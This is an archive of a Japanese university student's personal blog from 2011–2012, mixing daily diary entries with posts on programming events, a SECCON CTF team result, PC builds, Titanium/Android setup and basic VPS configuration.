朝に「ラジオ体操する」とつぶやいたところ、ラジオ体操同好会に捕まって京大前でラジオ体操をすることになった。
この日はオープンキャンパスだったので、JKを見ながらラジオ体操をした。

そのまま気持ちよく寝て、起きたら12時半近く。
12時半から二度目のラジオ体操があるので行って見たところ、ちょうど終わったところだった。
ラジオ体操メンバーとしゃべったりして遊んだ。

きょーくりっミーティングに出かけるために京都駅に向かう。
眠くなりながらミーティングをしていたら大量にタスクが投げつけられていた。
ミーティング後は中華食って解散。
私立プログラミングキャンプでなんかやらないといけなくなった。
あと、18切符で旅するハッカソンとか面白そうなイベント案が出た。

08/08

Mon, 13 Aug 2012 23:03:10 +0000

コンディション：普通
朝飯：寝てた
昼飯：残飯とマクドポテト
夕飯：記憶にない

この日はふぇる絵オフなので早く起きるつもりが15時半に起床。
寝ている間に集合時間が17時にfixされていたのでギリギリセーフ。
しかし主催者のふぇるが体調を崩して参加できないという事態。
とにかく京都駅でオフ会参加者を探して、二人ほど違う人に声かけをする。
すごく恥ずかしい。
まあ主催者はいなかったけど、ぺちゃくちゃ話してたら22時になって解散する。

08/07

Mon, 13 Aug 2012 22:56:32 +0000

コンディション：普通
朝食：寝てた
昼食：記憶になし
夕食：ささみとチーズを焼いた何か

昨日の続きでnode.jsで遊ぶ。
box2dをwebsocket通じて動かしたりしてた。
heroku場で動かすとカックカクだけどオフラインならヌルヌル。（当然か。）
そんなことしていたら無駄に日を過ごした。

08/06

Mon, 13 Aug 2012 22:52:44 +0000

コンディション：良好
朝食：寝てた
昼食：記憶になし
夕食：記憶になし

珍しく用事がない日なので、久しぶりにnode.jsで遊ぶ。
主目的はゲーム製作。
以前に作成したゲームをnode.jsに移植する目的で進める。

とりあえずOSをubuntu12.04に変えようと努力。
まずはUNetbootinを使ってUSBにubuntuイメージファイルを入れ、usb起動してインストール。
途中、Grubを認識しなくなってError 17を出したりしたけど、起動オプションいじったりしてたらなんとかなった。

その後はnode.jsインストールしたり、herokuだとwebSocketゲームはつらいなあと再度確認したりしてた。

08/05

Mon, 13 Aug 2012 22:27:44 +0000

コンディション：寝不足
朝飯：記憶になし
昼飯：残飯＋桃
夕飯：お好み焼き

昨日から起きつづけてminecraftをする。
@masachaco さんの鯖に入れてもらってヅ大の人達とminecraftし続けて気がつけば5時に・・・
そろそろやばいので寝る。

起きたら9時。
この日は @moccax が遊びに来る日だったことを思い出して適度に睡眠をとる。
眠気を抑えながら @moccax を迎えて、 @tokikaze_n も交えてお好み焼きを作ることに。
材料を買ってきたり、カメラで撮り合いをしたり、いろんなお好み焼きを作ってたら22時になったのでバイバイ。

その後はtwitterしたりgdgdして3時ごろに就寝。

そういえば、この日と前日は短期集中講義があったんだけど一度も行かなかったなあ。

チャゲごはん

08/04

Mon, 13 Aug 2012 22:16:04 +0000

コンディション：寝不足
朝飯：サンドイッチ
昼飯：餃子の王将
夕飯：残飯

無意味な試験期間が終わってついに夏休みに入った。
ちなみに試験期間中は、トランプしたり人狼したりしながら他人の家に寝泊まりしておりました。
下宿先に帰ることもなく徹夜続きで非常に不健康だった覚えが。

そんなことはともかく、この日はOSC京都2012の日。
きょーくりっのワークショップを開くため、一足早く会場入りした。
ノートパソコンを持っていないため、Mac miniを持っていったのだけどあんまりいらなかったかも。
ワークショップで午前は時間を潰し、午後はLTを書いたりしながらブースに張り付いていました。
あんまりブースを回れなかったけど、mikutterシールはもらえたので満足。
とりあえずダンボール姿になって、又貸ししてもらったPCでLTを終わらせる。

その後の懇親会では、加古川の人とかその周辺と悪ふざけしていたら試験疲れもあって少し眠くなる。
LT後とか懇親会とかでいろんな人に声をかけてもらって頭がパンクしそうに。
オフ会とかブース・セミナー回りとかできなかったのが残念だけどまあ楽しかった。

Twitter / pastak: LTスタンバイ中の @tyage さんです！！ #osckansai pic.twitter.com/Z1hm9q8L

さくらのvps契約+node.js

Thu, 09 Aug 2012 15:42:45 +0000

ふと思い立って、node.jsで再開発したゲームをherokuで動かしていたのですが、当然重たくなってきたためさくらのvpsを契約しました。
自分自身、数年前に似たようなネタをやっており、ネタとしてはずいぶんと古い気がするのですが、最近はほとんどコーディングしていないことの反省も込めて・・・

環境

VPS の OS: CentOS 6.2 x86_64
クライアントの OS: Ubuntu 12.04 LTS 64 bit
node.js: v0.6.18

設定

さくらVPSで使うコマンドリストとサーバーの初期設定を主に参考にしています。
公開鍵認証にしてあるならport番号の変更とかは必要ないような気もするのですが一応。

作業用ユーザーの追加

useradd [user]
passwd [user]
usermod -G wheel [user]

SSHポート番号変更

vim /etc/ssh/sshd_config

#Port 22
Port [new port]

公開認証鍵に

鍵を作成し転送

ssh-keygen -t rsa -C "[email]"
scp ~/.ssh/id_rsa.pub [user]@[host]:/home/[user]/authorized_keys

公開鍵の設定

06/25

Mon, 25 Jun 2012 20:18:44 +0000

昨日は作業とかあって徹夜してしまった。

眠い。とにかく眠い。

朝の一限目は、横で友達がぺちゃくちゃと話してる中、爆睡してしまって何の授業かわからずじまい。

二限目も眠いのでうとうとしていたらTwitterで「ちゃげ授業聞け」が拡散されてしまった。

昼飯は目覚ましにカレーを食ったが、辛くないし眠くなった。喋りながら食ってたら眠くなってきた。

三限目はプリントを受け取ったら、メガネを外して上着を敷いて寝た。授業中に寝言を言って笑われる夢を見た。夢だったのか現実だったのかわからない。

4,5限目は眠すぎて自主休講した。寝た。

6時半からの例会も起きれないくらいに寝続けた。12時間寝て今に至る。

06/11

Mon, 11 Jun 2012 17:02:07 +0000

　
気力と時間を取り戻して早くプロジェクトに取り組まなければならない。。

昨晩は4時までskypeしながらアニメ見て課題をしていたので、起きたのは10時だった。
2時限目に出て、昼飯はボッチ飯回避しつつ、三時限目に課題して、4時限目が30分で終了した。
今日は大黒屋が10%オフセールだったので竹輪と蒲鉾とソーセージを購入。
他、途中で友達と合流して、3つのスーパーを回って米の最安値を確認し購入。
ひとめぼれ 5kg 1880円。そこまで安くない。
そのままKMC例会に出て、晩飯を食いに行った。
めったに食えない鍋焼きうどんを堪能したらお財布が死ぬ。
帰宅して、先輩のプログラミング課題を解いて、気がついたら11時。
今日の目標であった「炊き込みご飯」を急いで完成させる。
うまい。焦げが最高にうまい。
少しお米が硬いが、なんとかなるだろ。
うまい。
今日も糞みたいな時間の使い方をしてしまったがいいだろう。
全てが許される。
今日は有意義だった。

06/08

Fri, 08 Jun 2012 14:45:34 +0000

　
朝起きたら8時だったがとても眠い。
4時まで課題するふりをしてダラダラしてたから。
しかたなく二度寝して、8時半に起きてから、味噌汁と納豆と生卵で優雅な朝食をとる。
9時に家を出て授業に遅刻。
授業中に課題をこなし、課題をT君に託して、授業を抜け出しE君とゲーセンへ向かう。
E君のjubeatプレイを眺めてたら、10時半になって次の授業が始まったので学校へ向かうことにする。
途中で方角を間違えてspookiesさんのビルとかグルグル巡ってみたり。
学校へ向かう途中でY君に偶然出会ったので、北部食堂へ向かい昼食。
12時数分前に授業に向かうと、ちょうど終わるところだった。
提出予定であった課題を提出し今日のノルマを達成。
それから百均でカップスープの素と桃の缶詰を購入したり、欲しいものを探してみたり。
おうちに帰って洗濯物を干したりネットしてたら13時を過ぎてしまった。
少し急いで授業に向かう。
遅刻して授業に入り、1と0を書いていたら寝落ち。
授業終了間際に起きれたため、なんとか出席レポートをこなす。
授業後に、何をするか迷った結果、4，5時限目は出ずに実家に帰ることにする。
5時限目の実習課題は前期分を終わらしてあるのでもういいだろう。
雨の中京阪に向かう途中、E君とすれ違い、不思議そうな顔をされる。
祇園四条で京阪から阪急に乗り換える。
電車の中でAngry Birdの最新アップデートをプレイしていたら怒られちゃった☆
結局、梅田までの大半を横にいたスーツお姉さんと同様の寝方で寝て過ごす。
梅田で神戸線に乗り換えて、Angry Birdをしながら阪急で下車。
雨の中を数秒ほど歩いたが、気力が失われたためバスに乗り換えてAngry Bird再開。
実家についてからはPCを起動し、ただ飯が出てくるまでブラウジング。
ただ飯にありついた後は、一か月ぶりの空手の稽古に出かけるつもりで準備。
しかし一時間寝てしまう。
とりあえず目が覚めてから胴着に着替えて、近所の小学校にある稽古場へ向かう。
小中学生を目で堪能しつつ、彼・彼女らとの粋なトークに華を咲かせるついでに稽古をする。
あまりの体のなまりっぷりと、視力の低下（＋コミュ障度悪化）に驚き失望。
新しく入った人（おっさん）との組手でも足が動かない。
館長と京大トークをしつつ、家へ帰る。
いい汗をかいた。
テレビで流れるサッカーの中継を聞きながら、twitterでサッカーの状況を知る。
試合が終了したのでお風呂に入る。
風呂上りにtwitterをしながら、豆大福をほうばる。
ついでに家にあった三月のライオンを読むことにした。
イマココ

超交流会2012

Sun, 27 May 2012 16:11:48 +0000

　
超交流会2012に「きょーくりっ」ブースとして出展していました。

ブースはこんな感じ。（QRコードだけのブースです）

QRコードはサイトのURLとかでした。（http://pwsk.cosmio.net/）

他、ダンボール着用状態で一分間スピーチをしてましたよ～
（スピーチを申し込んでいたんだけども、名前が載っていないのはなんでだったんだろう・・・？）

超交流会とだけあって、色々と交流があったのはよかったです。

第2回　SECCON ておくれ大会に行ってきた

Sun, 27 May 2012 14:04:17 +0000

第2回　SECCON つくば大会（関東地区）がておくれ大学（通称：筑波大学）で開催されていたので参加しました。
チームIMOCANとして、@sora_h, @grapswiz, @yasulibさん達四人でエントリーしました。（自分以外は社会人なんですねー）
チームとしては、ゆる～く楽しくやりましょう！という感じだったのですが、4位獲得し、表彰されました！

一日目

一日目は、ケータイを家に忘れて遅刻、開始一時間後に椅子に躓いて@sora_hのMBAを割る、問題が一問も解けない（OSコマンドインジェクション問題を手伝う程度）といったておくれ様でした。
（@sora_hと、運営の方、カンパに協力していただいた方々にはご迷惑をおかけしました。ありがとうございました。。。）

その後、夜につくばの友達に会ってたら、門限で宿舎に帰れなくなり、ておくれ度合いがヒートアップorz

しかしその日は、チームメンバーの力で終了直前まで1位、最終的に2位という結果で終了しました。
（サブマリン戦法怖かった）

二日目

二日目は、開始直後には7位まで落ちていましたが（他チームは前夜に問題を解いていたため）、最終的には4位まで回復しました。
僕は、ヒントによってSQLインジェクション問題をクリア、トリビア（CODE39）とWebの200点問題をクリアして、少し点数を稼げました。
今回はXSS問題が無く残念だったのですが、それよりも次の大会までにWeb以外の問題を解ける力をつけておきたいです。

終了後は、秋葉原でラーメンを食べたり、@grapswizから電子レンジを貰うため家に泊まらせてもらったりしてました。（ぐらころさんありがとう！）

最後に

SECCON実行委員会の皆様、チームメンバーの社会人の方々、ありがとうございました！楽しかったです～

次の大会を楽しみにしてます

以下に、公開している写真があります。

PC変えた

Sun, 27 May 2012 09:39:22 +0000

今年の3/5に購入→構築しました。

古いPCをアップグレードしようとして失敗したため、高い出費に！
（痛恨のマザーボード選択ミス）
HDDが未だに高いのも痛い。

CPU：Intel Core i5-2500k(17980円)
マザボ：ASUS P8Z68 PRO+保険+キャンペーン割引(10479円)
メモリ：DP-U13338GEL-AT1 4GB*2（ドスパラメモリー）(3980円)
グラボ：SAPPHIRE 11192-14-20G（HD6670）(7980円)
電源：KRPW-PT600W/92+(10470円)
ケース：ZALMAN ATX ミドルタワーケース Z9 PLUS(4680円)
SSD：Crucial 2.5インチ内蔵型 SATA3.0対応 M4 SSDシリーズ 64GB(9180円)
HDD：Seagate 3.5inch 内蔵ハードディスク 1.0TB 7200rpm 64MBキャッシュ(8380円)
ドライブ：TOSHIBA Sumsung DVD-RAM/±R(1層/2層)/±RW対応(2000円)

計：75129円

KMC

Mon, 02 Apr 2012 17:01:04 +0000

入隊しました。

目標：乗っ取り

フォト蔵 to Flickr

Wed, 07 Mar 2012 14:15:58 +0000

リハビリがてらに、フォト蔵からflickrへと写真を移行するものを作ってみました。

flickrの有料アカウントを取得したので、もうフォト蔵を使うこともなさそうです。
（アルバム別ではなく）写真別に公開/非公開設定ができるflickrさんに惚れちゃいました(ﾟ∀ﾟ)ﾉ

gistにコードを置いておくのでよければお使いください～
（※一気に何枚もアップロードするのでパンクするかも）

流れ：

Create an Appからアプリを作成して、API KeyとSecret Keyを取得
フォト蔵 to Flickrを設置
コードに自分のフォト蔵ID,Passを書く
コードにFlickrのAPI Key,Secret Keyを書く
Flickrアプリの管理ページからCallback URLを指定する。
コードを実行（アクセス）してFlickrアプリの認証をし、移行開始

FlickrのAPI扱うのが面倒だった・・・（そのほうがセキュリティ上好ましいが）
ライブラリはあるので、一から自分で作るのは訓練目的以外では止めたほうがいいですねえ。

フォト蔵も、非公開アルバムの写真情報の取得ができないため、一旦アルバムを公開設定にした後に、再度非公開にするという作業が必要でした。
（非公開アルバムは一時的に公開設定となるためご注意ください。）

PC改造しようとした

Tue, 06 Mar 2012 15:02:35 +0000

お久しぶりです。

大学入試も終わりまして、今は合格発表まで悠々自適な生活を送っております。
（minecraftとACⅴが楽しい！）

その一貫として、現在使用しているPC（いただきもの）を改造しようと企んでおりました。

PCV-RZ50という10年前のSony製のデスクトップです。
いただいた時点で、少しメモリ増設（750MB）されており、グラボも8年前のものに変わっていましたが、流石に古いｗ
ネットサーフィンする分には十分なのですが、ゲームをするとなると辛いですね。

そつぎょうし

Sat, 11 Feb 2012 08:04:49 +0000

ました

模試

Tue, 04 Oct 2011 12:00:44 +0000

　
第一回京大即応オープンと第一回京大実践模試が帰ってきたので自戒もこめて晒し。

京大即応オープン（河合/Z会）

科目	得点/配点	偏差値
英語	67/150	57.0
数学	144/200	74.2
国語	48/100	57.4
物理	44/100	56.0
化学	62/100	66.9
工学部配点	450/800	68.9

工学部情報学科では6位/179でA判定でした。

数学に救われたものの、本来得意なはずなのに、英語と物理ができてない。。。

京大実践模試（駿台）

科目	得点/配点	偏差値
英語	59/150	52.5
数学	103/200	58.5
国語	38/100	54.8
物理	38/100	53.1
化学	57/100	62.3
工学部配点	365/800	57.7

こちらはセンターも受けているので、センターも晒すとこんな感じです

科目	得点/配点	偏差値
英語	174/150	67.9
英語リス	44/50	69.9
数学ⅠA	96/100	63.1
数学ⅡB	98/100	63.9
国語	117/200	55.0
現代文	32/100	38.9
物理	84/100	59.9
化学	90/100	64.4
倫政	60/100	55.0

工学部情報学科では37位/336でA判定、ドッキング判定だとB判定でした。現代文（笑）

ゴルフゲームをコードゴルフ

Mon, 26 Sep 2011 15:23:35 +0000

　
一部でコードゴルフが流行っていたので、便乗してみた。

ずいぶん昔に、某巨大掲示板にて、ゴルフゲームをコードゴルフする遊びが流行っていたので、そこからアイデアを得ました。

まずこれ。
できるだけゴルフっぽくしたやつ
(217文字)

次に、いろいろと制限を加えてコードをスリムにしたやつ
(141文字)

最後に、consoleで動かすようにして、140文字以下にしたもの
(134文字)

もっと短くならないかなぁ。

吐き溜め場

Sat, 17 Sep 2011 16:55:21 +0000

見るな

ICT Challenge+Rに行って来ました

Thu, 08 Sep 2011 13:54:41 +0000

　
（詳細は@pastakのブログにあります。）

@pastakとペアでICT Challenge+Rに行って発表して来ました。
ネタは、赤シート2.0です。

結果、「上月スポーツ・教育財団賞」をいただきました！
発表後は琵琶湖にて船上で表彰式・懇親会を行ったそうですが、僕は翌日の模試のために発表後すぐに帰ってしまいました。
とても残念！

また、youtubeに発表の動画があがってるそうですが、諸事情によりURLを貼ることができないので、プレゼンに使ったスライドを載せておきますね♪

Ict challenge+r2011 final

View more presentations from Shoot Morii

※絶対にyoutubeで動画を探さないでください。
おかしなテンションのまま、@pastak持参のアフロを被って、@pastakに助けられつつ、超緊張しながら発表している僕の姿が映っています。。。
見つけても触れずにそっとしておいてあげてください。

ところで、個人的にはbrainf*ck/jsの人の発表がサイコーでした！
懇親会に行けてれば、質問とかできたのになあ。
発表者の方は、以前に何度か目にしたことのあるサイトの管理人さんだったので、またいつかお会いしたいですね。

SuperCon2011

Sun, 28 Aug 2011 15:18:33 +0000

※注：参加者以外にはずいぶんと分かりにくい内容です

今年の夏の思い出：SuperCon2011

Supercomputing Contest 2011

今年のテーマは「なくろん」でした。

0日目

去年は@asi1024と、別のメンバーがSuperConに出場していたが、今年は@asi1024と自分と後輩の三人で出場することになった。

@asi1024：黄色コーダー
@tyage：緑コーダー（）
後輩：灰コーダー

1日目

一番乗りで阪大に到着。

問題発表
「なくろん」

とりあえずサンプルのgreedyを実行してみるものの、ランダムのほうが強い。

その日は何も思いつかないので、@asi024がランダムを一回だけ出力する超速超短コードを提出。

2日目

1日目の結果は、まさかのスーパーランダムで二位。
その後何度やっても1日目の結果には追いつかなかった。

1日目の夜に、評価関数を得点率にすればいいと思ったので実装することに。
（電車内で聞いたところ、メンバーは全員思いついていたようだった。）

とりあえず3 step greedyを作り、評価関数を得点率にしてみたところ、15000超えをした。
たぶんその瞬間では暫定一位になったと思う。

緑コーダーでもやるときはやります( ｰ`дｰ´)ｷﾘｯ

その後はstepを増やしつつ終了

3日目

2日目の結果も二位だった。

この日は@asi1024に高速化していただいている間、
僕はジョブを投げ、解析をし、（無駄に）n step greedyのコードを作っていた。

サーバーいじる時に覚えたviの操作方法などが生かせてなんだかうれしい。

4日目

この日は特に何もしていない。

評価関数をいろいろためしたけれども、どれもよくはなかった。

とりあえず7,8 step greedyで提出。

終了後はみんなで大阪観光。

ゲーセン組についていった。

yeyさんがぱなかった。

kyuriの人がDQNに絡まれてた。

5日目

結果発表前に@rofiさんにきていただいた。

結果発表。

まさかの2位をいただきました。
大健闘。

1位のPANAIチームには100歩及ばなかったけれど、やってることは意外と単純でびっくり。

終わってから↑↓↑が省けることを知った。
きちんとした枝狩りをしていれば、スコアはもう少しよかったかも。

おまけ

暇なときに「なくろん」のJSを書き換えて、自動で高速に動くようにしていた。
特に役には立たなかった。

冷やしうどんが安くて旨い。
KYの学食とは格が違った。

OSC京都2011と祇園祭

Sat, 06 Aug 2011 04:27:32 +0000

OSC京都2011から三週間が経ってしまいましたが書きます。

一日目(8/15)

OSC

学校から、祇園祭に参加する@keirfulと一緒に京都へ。
@keirfulのお陰でOSC会場の場所を間違えずになんとか到着。
@mactkg, @masawadaの東京勢、@pastak, @umisama, @waturaのきょーくりメンバーと合流

着いたころには灘PC研のセミナーが始まっており、見ることができなかった。
残念。

結局「Life is Tech!」のセミナーだけを見ました。
関西でもやる予定だそうで、無料体験もあるし、そのうちやってみたいですね。
（もしかして：高校生まで）

OSC終了後はSpookiesさんのオフィスを借りてきょーくりのミーティングをしてました。
大家さんがごちそうを振舞ってくれました。
ありがとうございます！

祇園

きょーくりメンバーと別れたあと、予定とは大幅に遅れたものの、
@keirful, @edakkou, @Gnoechi, @mikimonogakari, @hinaeve と合流し、祇園祭を横目に騒いで帰りました。

二日目(8/16)

OSC

きょーくりワークショップが始まるギリギリに到着。
遅れて申し訳ない。

若いScratch紳士がいた。
東京勢が堂々としててイケメンだった。

お昼は王将。
堀田さんに感謝。

ブースでは東京勢持参のKinectとなのぼ～どの展示をしていました。
（僕はアプリ開発を続行していた。）

懇親会でLTするようにと、@pastakに無茶ぶりされたのだけども、
僕は最近はTitaniumしかいじってなくてネタもないし、gdgdになりそうだってことで中止。
なんか申し訳ない。

@hiromu1996がOSCスタッフとなることが決定しました。
( ﾟДﾟﾉﾉ☆ﾊﾟﾁﾊﾟﾁﾊﾟﾁﾊﾟﾁ

祇園

@pastakと愉快な仲間たちと共に、ustしながら祇園祭の中を練り歩く。

蟷螂山が動くのを見れて満足！

お土産に頼まれた「山芋の漬物醤油味」は買えなかったので、また今度買いにいきたいですね。

まとめ

OSCも初祇園も行けたし楽しかった。
久しぶりにイベントに参加して、皆さん頑張っててすごいなーと思った。
僕も何かの役に立たねばと少し焦る

支援していただいたびぎねっとさん、Spookiesさんありがとうございました。

写真

一覧

Titanium * Android = デスマ

Mon, 23 May 2011 18:38:21 +0000

　
思い出せるものから書き上げていく

tableのheader, footerを使っているwindowは閉じるとエラー

touchendイベントがちゃんと取得できない

getAllPeopleおかしい

show, hideおかしい

CommonJS対応のくせにrequire使えない

一旦変数に代入せずに一気に、(new Ti.UI.createWindow()).show()　とするとエラー

選択した写真のデータを送るときに一旦viewに設定しないといけない

tableのrowはtable.dataから取得できない

windowに追加後、heightを変更できない

メアド用にキーボードを切り替えできない

エミュ重い

環境構築面倒

tabがあるときの新規windowの扱いが不明。
挙動が定まらない

いろいろ非対応
スクロールテーブルとか自作しないといけない

jssのz-indexはzIndexと書かないと動かない。

jssはセレクタに単一クラスかIDしか指定できない。

その他のセレクタを指定すると落ちる。

jssがなぜか更新されない。

viewをmapの上に表示することができない。

leftView, rightViewが非対応だった。

マップのクリックイベントも、annotationのクリックイベントもおかしい。

annotationのタイトルだけでイベントが発生する。

テーブル内のあるrowの操作が同一テーブル内の要素に干渉することがある

バグ多い

APIリファレンスはうそつき

なんで、私がプログラミングを！？

Sat, 21 May 2011 08:02:40 +0000

@Sn0wNightによるエクストリーム過去晒しが流行ってたので、時代に乗り遅れつつ僕も書くことにした。
参照：僕がプログラミングをはじめたきっかけ – ごみ箱

言語

HTML　親友だと思ってます
CSS　たぶん友達
JavaScript　幼なじみ、片思い♡
PHP　複雑な関係
Perl　昔の友達
SQL　友達の友達は知り合い
Ruby/Python　顔見知り
Java/C/C++　プログラミングコンテストでお会いしましたね

僕とTitanium Developerの3日間戦争 – 導入まで

Wed, 27 Apr 2011 11:24:51 +0000

とある事情でTitaniumを使ってAndroid/iPhoneアプリを作ることになったのですが、早速Titaniumに手こずってしまったので、記録をまとめてみました。

Titaniumの導入まで（この場合、KitchenSinkをAndroidエミュレータで動かすまで）に三日、作業時間だと約20時間もかかったのは、自分が情弱だったのが原因です。
普通はこんなに時間がかかるはずがないです。（たぶん・・・）

初めに

環境はWindows XP SP3です。
Macユーザーの方はもっと参考になるサイトがあるはずです。お疲れさまでした。

最終的に必要だったことは以下の通りです。

ユーザ名（もしくはホームディレクトリ名）に日本語が含まれないことを確認
※もしユーザ名に日本語が含まれていれば、アルファベットのみのユーザ名で新しく作ることをお勧めします。
JDK6のインストール
環境変数PATHにJDKを設定する。
例：「C:Program FilesJavajdk1.6.0_24bin;」をPATHに追加
※JDKのバージョン等でパスは異なりますが、最後に「bin」を付けるのを忘れないでください
Android SDKのインストール
環境変数PATHにAndroid SDKを設定する。
例：「C:Program FilesAndroidandroid-sdkplatform-tools;C:Program FilesAndroidandroid-sdktools;」を追加
Titanium Developer1.2.2をインストール
一息ついて再起動する（必要ないかも？）
Titanium Developerを実行し、アカウント登録をする
Titanium Mobileをダウンロード
Android SDK Package ManagerでAPIパッケージをインストール
android-sdktoolsにあるadb.exeをandroid-sdkplatform-toolsにコピーする
例：「copy “C:Program FilesAndroidandroid-sdkplatform-toolsadb.exe” “C:Program FilesAndroidandroid-sdktools”」
※TitaniumがAndroid SDKのバージョンアップに追いついていないため必要
Titanium DeveloperにAndroid SDKのパスを設定する
KitchenSink1.6.1をダウンロード
※KitchenSinkディレクトリまでのパスが長くならない場所に置いてください。
Titanium DeveloperからKitchenSinkをインポートしてプロジェクトを作成する
KitchenSinkプロジェクトを選択肢、Test & PackageタブからLaunch
※SDKはAPIs 2.2かAPIs 2.3がいいらしい。
※上手くいかない場合も何度かめげずにLaunchするといいらしい。
長いイライラタイムを過ぎるとKitchenSinkが動く！！
お疲れさまでした。

オープンソースカンファレンス2011 @神戸

Sat, 23 Apr 2011 15:27:15 +0000

オープンソースカンファレンス2011 Kobe – オープンソースの文化祭！に参加してきました。

去年と同じハーバーランドで行われたにも関わらず、迷子になってしまいました。

それはともかく、今回は学生LTセミナーでライトニングトークをしてきました。
ここでも毎度のようにプロジェクターと上手く接続ができなくなり、貴重な時間を食いつぶしました・・・。
ごめんなさい。

発表はかなりあたふたしてしまい、もともと五分でぎりぎりな内容だったのですが、さらにPCが不調だったためデモすらできないという状況でした。
それでもなんとか端折りながら5分に収めましたがｗ

後はFireFox4のセミナーを見たり火狐グッズをいただいたりしてました。
初・OSC懇親会は楽しかった！

OSC神戸 posted by (C)チャゲ

OSC神戸でもらった posted by (C)チャゲ

関西青少年オフ – 04

Wed, 06 Apr 2011 05:55:10 +0000

Tweetvite :: 関西青少年オフ-04

舞洲緑地にて楽しく缶蹴りしてました。

無線使ったり、一眼レフで監視したりと少し変な缶蹴りだったような。

走りまわったので翌日に筋肉痛になるかと思いきや、花粉症で微熱がでました。

Go言語勉強会＠はてな

Wed, 06 Apr 2011 05:45:55 +0000

第13回テーマ「Go言語」 – Online.sg

Go本を書いた @umisama 氏を講師に、半年ぶりのOnline.sgでした。

会場は㈱はてなでした。
会場提供ありがとうございますた。

ソーシャルゲームはどのように社会へ貢献していくか #givemac2

Tue, 05 Apr 2011 16:00:42 +0000

前の記事の内容を修正して、スライドにまとめてみた。

スライド

boku2d(仮)という自作のライブラリを使ってナビゲーション部分を実装した。
このエンジンも判定に含めてくれるとうれしいなぁ。

メインのコードは以下のような感じ。

コピペっぽいところがあるのはご愛嬌。
（時間的に少し焦ってた）

ソーシャルゲームはどのように社会へ貢献していくか（α）

Mon, 04 Apr 2011 09:20:52 +0000

提出したスライドはこちら

一応givemac2用の記事。

少し設問とずれた話になりそうなので、提出するかどうかは迷い中。

とりあえず思いついたことをだらだらと書いてみた。

ほとんど自分の話だから注意。

ソーシャルとゲーム

ソーシャルゲームの社会貢献について考えていく上で、ソーシャルとゲームがそれぞれどのような役割を担うことができるかについて考えてみました。

ここで僕の考えているソーシャルゲームと、読者の考えているソーシャルゲームが大幅に異なっている場合があると思います。

ゲームについて

今の日本の子供であれば、周りを見る限り、ゲームをしない子供というのはかなり少ないはずです。

ゲームというのは多くの子供の興味を引くものですし、敷居が低いものであります。

そして、それによる影響は一生とまでは行かなくても、長期に渡って続く場合があると思います。
良くも悪くも。

そこで、ゲームの役割について、多くの子供に対する教育を挙げることができる、と僕は考えています。

ソーシャルであることについて

当前のことながら、ゲームがソーシャルであることで、人と人とのかかわりが生まれてきます。

先ほどの「教育」と無理やり関連付けると、ソーシャルであることで互いに何かを教えあう、もしくは自分と同じものに興味を持つ人を増やすことができるはずです。

これはゲームを介して同じ趣味を持つ仲間とつながることができるということですが、この趣味というのはゲームの内容と関係がない場合もあります。

また、同じ趣味を持った仲間ができるというだけでなく、人との関わり方を学ぶかもしれません。
（荒らしへの対処法や、失敗した仲間への励ましなど。）

学ぶことを目的としなくても、いつの間にか何かを学び、互いに教えあうことが、ソーシャルゲームではできるのだと思います。

自分の事例

ここで自分の事例について述べてみます。

自分は、ソーシャルゲームを通じて、プログラミングに興味を持つようになりました。

それまで自分はプログラミングはおろか、パソコンに関してもそれほど興味を持っておりませんでした。

小学校高学年のころ、自分はゲームをほとんど持っておらず、友達に借りたり、学校のPCルームで遊んだりしていました。

そして、TOWNというオープンソースなコミュニティベースのソーシャルゲームを元にしたゲームに出会います。

しかしこのゲームには脆弱性がありました。
掲示板や日記や家など、各所でXSSができてしまったのです。

元々HTMLなどの知識があった年上のユーザーがスクロールする文字や、カラフルに光るボタンや背景などをその場で見せてくれ、また自分もそれをコピペし、改変することで少しずつ学びはじめました。
まるで魔法のようでした。

もちろんそれを悪用するユーザーも出てきて、自分はXSSという語句は知らなくとも、HTMやJSが埋め込めることの危険性を認識するようになります。
また、荒らしにも慣れ、はじめよりは落ち着いて対処できるようになります。

次に、そのゲームには、インラインフレームで自分のサイトを表示するページがあり、そこで自作サイトを表示していた人の影響でホームページを作りはじめました。

その後、中にはそのゲームの改造版などを作りだす同世代のユーザーも出現し、そのユーザーに教えてもらったり、本を買ったりしながらPerl/CGIについて学び、自分でいろいろなシステムを作るようになりました。

そのゲームから派生したゲームは未だにチミチミと運営しています。

また、このゲームからプログラミングに興味を持つようになったユーザーは少なくないですし、その方々の中には僕のように未だにプログラミングを趣味とし続けている方もいます。

まとめ

ソーシャルゲームが人に大きく影響することはまだ稀であるかもしれませんが、インターネットが当たり前の時代になって、ソーシャルゲームで遊ぶ子供が確実に増えている（と自分は思っている）ため、今後このように影響される若者は増えていくと考えています。

今回は述べませんでしたが、SNSについて言えばこの影響はさらに大きいでしょう。

最後に、この影響が社会問題ではなく、社会貢献という形になることを望んでいます。

字数制限超え余裕でした！

Skype×Skype

Sun, 27 Mar 2011 11:59:46 +0000

スカイプ友達募集掲示板「Skype × Skype」（スカイプスカイプ）って言うのを丸一日かけて作りました。

見ての通り、出会い系の掲示板です。

スカイプちゃんねるがメンテ中となり、Skype用の掲示板がなくなったので、似たのを作ればアクセスが稼げる！　と聞いたので。

僕はいつも通りコーディング全般をし、デザインは提案者にしてもらいました。

ちなみにサーバーはこのブログにも使われてるサーバーです。

あとで調べて分かったんですが、やはり競合が多いです。

アクセス稼ぐには宣伝が必要ですね。

ちなみにスカイプちゃんねるは、絶賛売却中です。

たぶんあと4日で復活するので、それまでしかアクセス稼げないでしょうね。

広告をクリックしてもらうと僕の買い食い代に変わります。

僕を太らせたい方は是非。

3月25日

Sun, 27 Mar 2011 11:49:05 +0000

ねーもオフ

@ok_namo が彼の高校の甲子園の応援のため、関西に来ていたので神戸案内をしてました。

他に「 @yushipon と @mgmgkzm 」が参加していました。

案内と言っても、どこに行くかも決まらないので、@mgmgkzm を観光しながら南京町とかぶらぶらした。

@mgmgkzm が医者を呼ばないといけないぐらい @ok_namo に興奮して大変だったけれど、いろんな意味で打ち解けたしよかったと思う。

関西の洗礼ってこういうことですかね。

春期講習最終日

KY生の巣窟である高等進学塾（高進）で英語を一週間勉強していました。

塾のために西宮北口に行くと、ジュンク堂につい寄ってしまうし、同級生に会ってしまったりしてつい時間がなくなってしまう。

恐ろしい。

この日は同級生と、塾の講師を探索したり、@asi1024 の自宅の場所を教えてもらったりしてました。

楽しいけど時間がなくなる恐ろしい場所です。

空手最終日

ほんとは先週が最終日で、先週は後輩に半泣きされつつ別れたんですが、今週も来てしまい、なんとも言えない空気でした。

長居できそうにもなかったので、スポーツ保健の代金と、この日はプレゼントがもらえる日だったので、それをもらって帰りました。

今年はロゴ入りタオルとお菓子でした。

なかなか豪盛です。

